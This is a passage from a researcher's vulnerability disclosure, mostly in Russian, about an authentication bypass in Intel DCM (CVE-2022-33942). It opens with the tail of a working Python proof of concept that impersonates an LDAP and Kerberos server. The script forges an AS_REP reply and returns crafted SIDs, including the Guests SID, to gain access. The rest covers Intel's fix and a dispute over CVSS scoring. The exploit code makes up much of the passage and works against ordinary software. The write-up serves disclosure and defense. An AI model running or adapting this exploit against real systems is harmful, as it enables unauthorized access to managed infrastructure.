# Some pre-recoded AS_REP message (encrypted part only)
plainText = binascii.unhexlify("7981da3081d7a02b3029a003020112a12204202deb4c8d3c541791c23080abf14d896bc27609e24f80a15911d0720ec83d5237a11c301a3018a003020100a111180f32303232303631383133323432315aa20602040c3c5eb6a311180f32303337303931343032343830355aa40703050000610000a511180f32303232303631383133323432315aa611180f32303232303631383133323432315aa711180f32303232303631383233323432315aa90c1b0a4841434b2e4c4f43414caa1f301da003020102a11630141b066b72627467741b0a4841434b2e4c4f43414c")
# Use some random confounder
confounder = binascii.unhexlify("13371337133713371337133713371337") # first 16 bytes of an AS_REP message
encASRepPart = decoder.decode(plainText, asn1Spec=EncASRepPart())[0]
# Modify nonce to match the client's nonce
encASRepPart['nonce'] = int(nonce)
# Change timestamps to not screw any clock diffs
my_date = datetime.now()
current_timestamp = my_date.strftime('%Y%m%d%H%M%SZ')
encASRepPart['authtime'] = current_timestamp
encASRepPart['last-req'][0]['lr-value'] = current_timestamp
# this is to make sure no clock scew occurs, because if starttime isn't present, the KDC's time is taken
# see RFC4120 3.1.3 at https://datatracker.ietf.org/doc/html/rfc4120#page-48
encASRepPart['starttime'] = noValue
# Endtime + 10 hours
newEndTime = datetime.now() + timedelta(hours=10)
encASRepPart['endtime'] = newEndTime.strftime('%Y%m%d%H%M%SZ')
# Modify realms
encASRepPart['srealm'] = realm
encASRepPart['sname']['name-string'][1] = realm
# encrypt again
final = encrypt(key, 3, encoder.encode(encASRepPart), confounder)
# Construct an AS_REP
asRep = AS_REP()
asRep['pvno'] = 5
asRep['msg-type'] = int(constants.ApplicationTagNumbers.AS_REP.value)
asRep['padata'] = noValue
asRep['padata'][0] = noValue
asRep['padata'][0]['padata-type'] = constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value
etype2 = ETYPE_INFO2()
etype2[0] = noValue
etype2[0]['etype'] = constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value
etype2[0]['salt'] = salt
encodedEtype2 = encoder.encode(etype2)
asRep['padata'][0]['padata-value'] = encodedEtype2
asRep['crealm'] = realm
asRep['cname'] = noValue
asRep['cname']['name-type'] = constants.PrincipalNameType.NT_PRINCIPAL.value
asRep['cname']['name-string'] = noValue
asRep['cname']['name-string'][0] = username
asRep['ticket'] = noValue
asRep['ticket']['tkt-vno'] = constants.ProtocolVersionNumber.pvno.value
asRep['ticket']['realm'] = realm
asRep['ticket']['sname'] = noValue
asRep['ticket']['sname']['name-string'] = noValue
asRep['ticket']['sname']['name-string'][0] = "krbtgt"
asRep['ticket']['sname']['name-type'] = constants.PrincipalNameType.NT_SRV_INST.value
asRep['ticket']['sname']['name-string'][1] = realm
asRep['ticket']['enc-part'] = noValue
asRep['ticket']['enc-part']['kvno'] = 2
asRep['ticket']['enc-part']['etype'] = constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value
# Using a pre-encrypted ticket here. The ticket itself doesn't matter since it's not used
asRep['ticket']['enc-part']['cipher'] = binascii.unhexlify("3dbe1e264dc1c7c3c4fc619efbfb49ee8c10b76d6c312d10aab3d7e6b00ccbaa9d3b9ed706d79d9124920b36b07e67dbe709806a24b9edc12ed40f5cd835c14369763468008863ba7af2d94196de1e89d06bb58bad7dab97cc7a107818983546e9c0d9c115722f38207ad8ea94afdebc9b42326f2fd14a9b629f970617d9ac15009fcabd99c89471eb91fc8b07efadbcc6fb0d6af813ca452481d5ee6c530a0a54bdeacd96f2913adcbca80ab62396ce8f8734bf18c582035ac614257c41fec115989d73e8ef5587b1cadcb184694dd3c3cee1cb8d0e0b8019f9444f0de31bf4c2acbaecd4935ddb40cbe9ad34376289e4a82757f013f9686165e7b02846f162bae705ca02429068dd5b2f450e36a94b27f7cd30c36537fbbedaea6ee00431b7c8fbdda5cdf943790e9b82c59c95b95f9de7d6639bdba0c3dadf3b3bd4a207386bb9cfa06e539656d57796a8e28ddecca94af04348e3edb1833721c17fe4040ab4975a41a1a40ae67e87d00740c417cd7d915e2185c66861e32648489227b9e344c27c3290d67c9c8cb507646c77ef0fdbc7d527802b11b693b6cd12f393d5c9737ed1dead9fa769994b7c0c753d17f676b767334e898f52f496e6f4f46f57592d291f3425e5bb12fa02b352989dacc3746d1ef1690bb6c8b61cefb5560bdcf956af1b975c838df6d65118aa7306e39f3076780b4b450cf88b39e75fb13fa325e82cede2e9bab8eba0e0a5da73806eb174c85001240b2df27c5f732ca17943b6be6153e1c871ddd3c0fab49bca9d1218e5014a70c73399817efe7016df206ad42643e478656a700709f654f161366057c2fcdc61030b3c6ff562e5b702224d3720153b32f92c1c86f6500df17f5cce3b7d762a31fea8cc0ffb80062c36f46be5d0905c170ebf46d78cc7dc0644ca72ed01f8b561980de786441b595941fe5b3fde09b7945780d5fbf175bdd7512708af481dc1bac50d845b869b5afaf71de31efd0856df5b1283511537057618fd6251cacd8796723c4a7456fd180c04c2e87cc74e073e6e9992936e98aec4216e6a2da5423204f3a4c9853b0ce7d10847d898b5ba7c6a2c0a38f545da25410c9e94bb63d992850ef54733056ceec9e3a7256a935df1aee76000e0e388826c48c769c21f1767ffa468438a76d91c8ad152368a91c07512b6b4b0f6dfafbdeb3e2e15d3ea6e1aa9f5cfab0b0299bc100e38f1e40c8b3e0c993303a728ec4e21467492e56b64e489a2da387a80c432d04a58d05c27609a9ce085935417f3b219fc9bffc47433611ee50502911467ea843eef815c3f2593c12fd126228bcb0d57c7220f7e70719ab011f5b650f91540984d9c78dbf72852e836d833c5cc7b265311b593cf1d5b6c523829e74b3f939c291b7ceff9231e2cb39f035e3d44dfc720510b3bffdf12fb9090b03acdaa9f04295dc62d3d110e92461fcf66a0aa36543f2cc38114de298e3b6d9c40d283677a6cf2246860a931")
asRep['enc-part'] = noValue
asRep['enc-part']['etype'] = constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value
asRep['enc-part']['kvno'] = 2
asRep['enc-part']['cipher'] = final
encodedASREP = encoder.encode(asRep, asn1Spec=AS_REP())
# We need to prepend the packet with its length
lenOfASREP = struct.pack('>I', len(encodedASREP))
final_payload = lenOfASREP + encodedASREP
conn.send(final_payload)
print("[+] Kerberos AS_REP sent!")
s.close()
break
def SearchResultDone_request(messageID):
srd = SearchResultDone()
srd['resultCode'] = ResultCode('success')
srd['matchedDN'] = ''
srd['diagnosticMessage'] = ''
msg = LDAPMessage()
msg['messageID'] = MessageID(messageID)
msg['protocolOp'] = ProtocolOp().setComponentByName('searchResDone', srd)
return srd
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((listen_ip, 389))
s.listen()
conn, address = s.accept()
with conn:
print("[+] Received LDAP connection from {}".format(address))
while True:
r = conn.recv(2048)
# First get the messageId
ldap_resp, _ = decoder.decode(r, asn1Spec=LDAPMessage())
messageID = ldap_resp['messageID']
if messageID == 1:
print("[+] Sending successful bindResponse")
res = BindResponse()
res['resultCode'] = ResultCode('success')
res['matchedDN'] = ''
res['diagnosticMessage'] = ''
msg = LDAPMessage()
msg['messageID'] = MessageID(messageID)
msg['protocolOp'] = ProtocolOp().setComponentByName('bindResponse', res)
data = encode(msg)
conn.send(data)
elif messageID == 2:
print("[+] Sending searchResEntry results #1 to return invalid user SID to reach the vulnerable code branch")
res = SearchResultEntry()
res['object'] = LDAPDN('CN=mrtuxracer,CN=Users,DC=hack,DC=local')
res['attributes'] = PartialAttributeList()
res['attributes'][0] = PartialAttribute()
res['attributes'][0]['type'] = AttributeDescription('objectSid')
res['attributes'][0]['vals'] = Vals()
# translates to SID S-1-5-4294967295-4294967295-4294967295-4294967295-4294967295
res['attributes'][0]['vals'][0] = AttributeValue(b'\x01\x05\x00\x00\x00\x00\x00\x05\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff')
msg1 = LDAPMessage()
msg1['messageID'] = MessageID(messageID)
msg1['protocolOp'] = ProtocolOp().setComponentByName('searchResEntry', res)
res = SearchResultReference()
res.setComponentByPosition(0, 'ldap://hack.local/CN=Configuration,DC=hack,DC=local')
msg2 = LDAPMessage()
msg2['messageID'] = MessageID(messageID)
msg2['protocolOp'] = ProtocolOp().setComponentByName('searchResRef', res)
# Let's put the LDAPMessages together
data = encode(msg1) + encode(msg2) + encode(SearchResultDone_request(messageID))
conn.send(data)
elif messageID == 3:
print("[+] Sending searchResEntry results #2 returning a dummy user record")
res = SearchResultEntry()
res['object'] = LDAPDN('CN=mrtuxracer,CN=Users,DC=hack,DC=local')
res['attributes'] = PartialAttributeList()
res['attributes'][0] = PartialAttribute()
res['attributes'][0]['type'] = AttributeDescription('distinguishedName')
res['attributes'][0]['vals'] = Vals()
res['attributes'][0]['vals'][0] = AttributeValue('CN=mrtuxracer,CN=Users,DC=hack,DC=local')
msg1 = LDAPMessage()
msg1['messageID'] = MessageID(messageID)
msg1['protocolOp'] = ProtocolOp().setComponentByName('searchResEntry', res)
# Let's put the LDAPMessages together
data = encode(msg1) + encode(SearchResultDone_request(messageID))
conn.send(data)
elif messageID == 4:
print("[+] Sending searchResEntry results #3 exploiting the well-known 'Guests' SID")
# Returns SIDs S-1-5-32-546 (Guests), S-1-5-32-545 (Users) and a random SID for Domain Users
res = SearchResultEntry()
res['object'] = LDAPDN('CN=mrtuxracer,CN=Users,DC=hack,DC=local')
res['attributes'] = PartialAttributeList()
res['attributes'][0] = PartialAttribute()
res['attributes'][0]['type'] = AttributeDescription('tokenGroups')
res['attributes'][0]['vals'] = Vals()
res['attributes'][0]['vals'][0] = AttributeValue(
b'\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x22\x02\x00\x00') # S-1-5-32-546 (Guests)
res['attributes'][0]['vals'][1] = AttributeValue(
b'\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x20\x02\x00\x00') # S-1-5-32-545 (Users)
res['attributes'][0]['vals'][2] = AttributeValue(
b'\x01\x05\x00\x00\x00\x00\x00\x05\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff') # random sid
msg1 = LDAPMessage()
msg1['messageID'] = MessageID(messageID)
msg1['protocolOp'] = ProtocolOp().setComponentByName('searchResEntry', res)
# Let's put the LDAPMessages together
data = encode(msg1) + encode(SearchResultDone_request(messageID))
conn.send(data)
print("[+] Exploit done. Enjoy your access :-)")
s.close()
exit(0)
Вот эксплойт в действии:
https://www.rcesecurity.com/wp-content/uploads/2022/11/CVE-2022-33942-PoC.mov
Исправление Intel
Intel исправила эту проблему, применив LDAPS и выполнив дополнительную проверку сертификата во внутреннем SSL-хранилище DCM, где сертификат Active Directory CA должен быть доверенным, начиная с версии 5.0 DCM.
О неправильной интерпретации CVSS от Intel
Изначально я сообщил об этой ошибке в программу вознаграждения Intel. Важно отметить, что в политике программы указано, что они используют CVSS для оценки влияния уязвимости, а значит, они должны следовать официальному определению CVSS, верно? Не совсем так. Intel понизила рейтинг этой проблемы до 8.8 по CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H, а также упоминает об этом в своем бюллетене безопасности INTEL-SA-00713. Вам интересно, почему мой официальный совет оценивает эту проблему в 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)?
AV:A против AV:N
Intel считает, что "DCM - это корпоративное приложение и было разработано для административных сетей", что является их оправданием для понижения AV-вектора. Я привел им официальный документ спецификации CVSS, в котором значение Adjacent определяется следующим образом:
"Уязвимый компонент связан с сетевым стеком, но атака ограничена на уровне протокола логически смежной топологией. Это может означать, что атака должна быть начата из той же общей физической (например, Bluetooth или IEEE 802.11) или логической (например, локальная IP-подсеть) сети, или из безопасного или иным образом ограниченного административного домена (например, MPLS, безопасная VPN в административной сетевой зоне). Одним из примеров смежной атаки может быть ARP (IPv4) или соседское обнаружение (IPv6), приводящее к отказу в обслуживании в локальном сегменте LAN (например, CVE-2013-6014)".
Хотя уязвимый компонент действительно привязан к сетевому стеку, он НЕ ограничен на уровне протокола - они даже не применяют никаких правил iptables или подобных, чтобы заставить его быть смежным. Поэтому AV должен быть установлен на N.
UI:R против UI:N
Intel также считает, что UI:R применяется потому, что администратор должен настроить DCM таким образом, чтобы разрешить аутентификацию для группы Active Directory с известным SID. Однако в документе спецификации CVSS это условие изменения конфигурации явно упоминается в векторе сложности атаки:
Если для успеха атаки требуется определенная конфигурация, базовые метрики должны оцениваться, исходя из того, что уязвимый компонент находится в этой конфигурации.
Это означает, что вектор UI должен оставаться нетронутым в UI:N, а вектор AC должен быть установлен на базовую метрику в AC:L.
Последствия
Intel сделала одноразовое исключение и вознаградила 10 000 долларами за эту ошибку, что замечательно, но это также была напряженная борьба, чтобы добраться до этой точки.
Для хакеров и программ вознаграждения за баги очень важно иметь общий базовый уровень для измерения последствий и обсуждения на его основе. Я также признаю, что существует некоторое игровое пространство в отношении интерпретации CVSS, но принципиальное игнорирование основных определений базовой структуры, по сути, означает разрушение доверия с хакерами.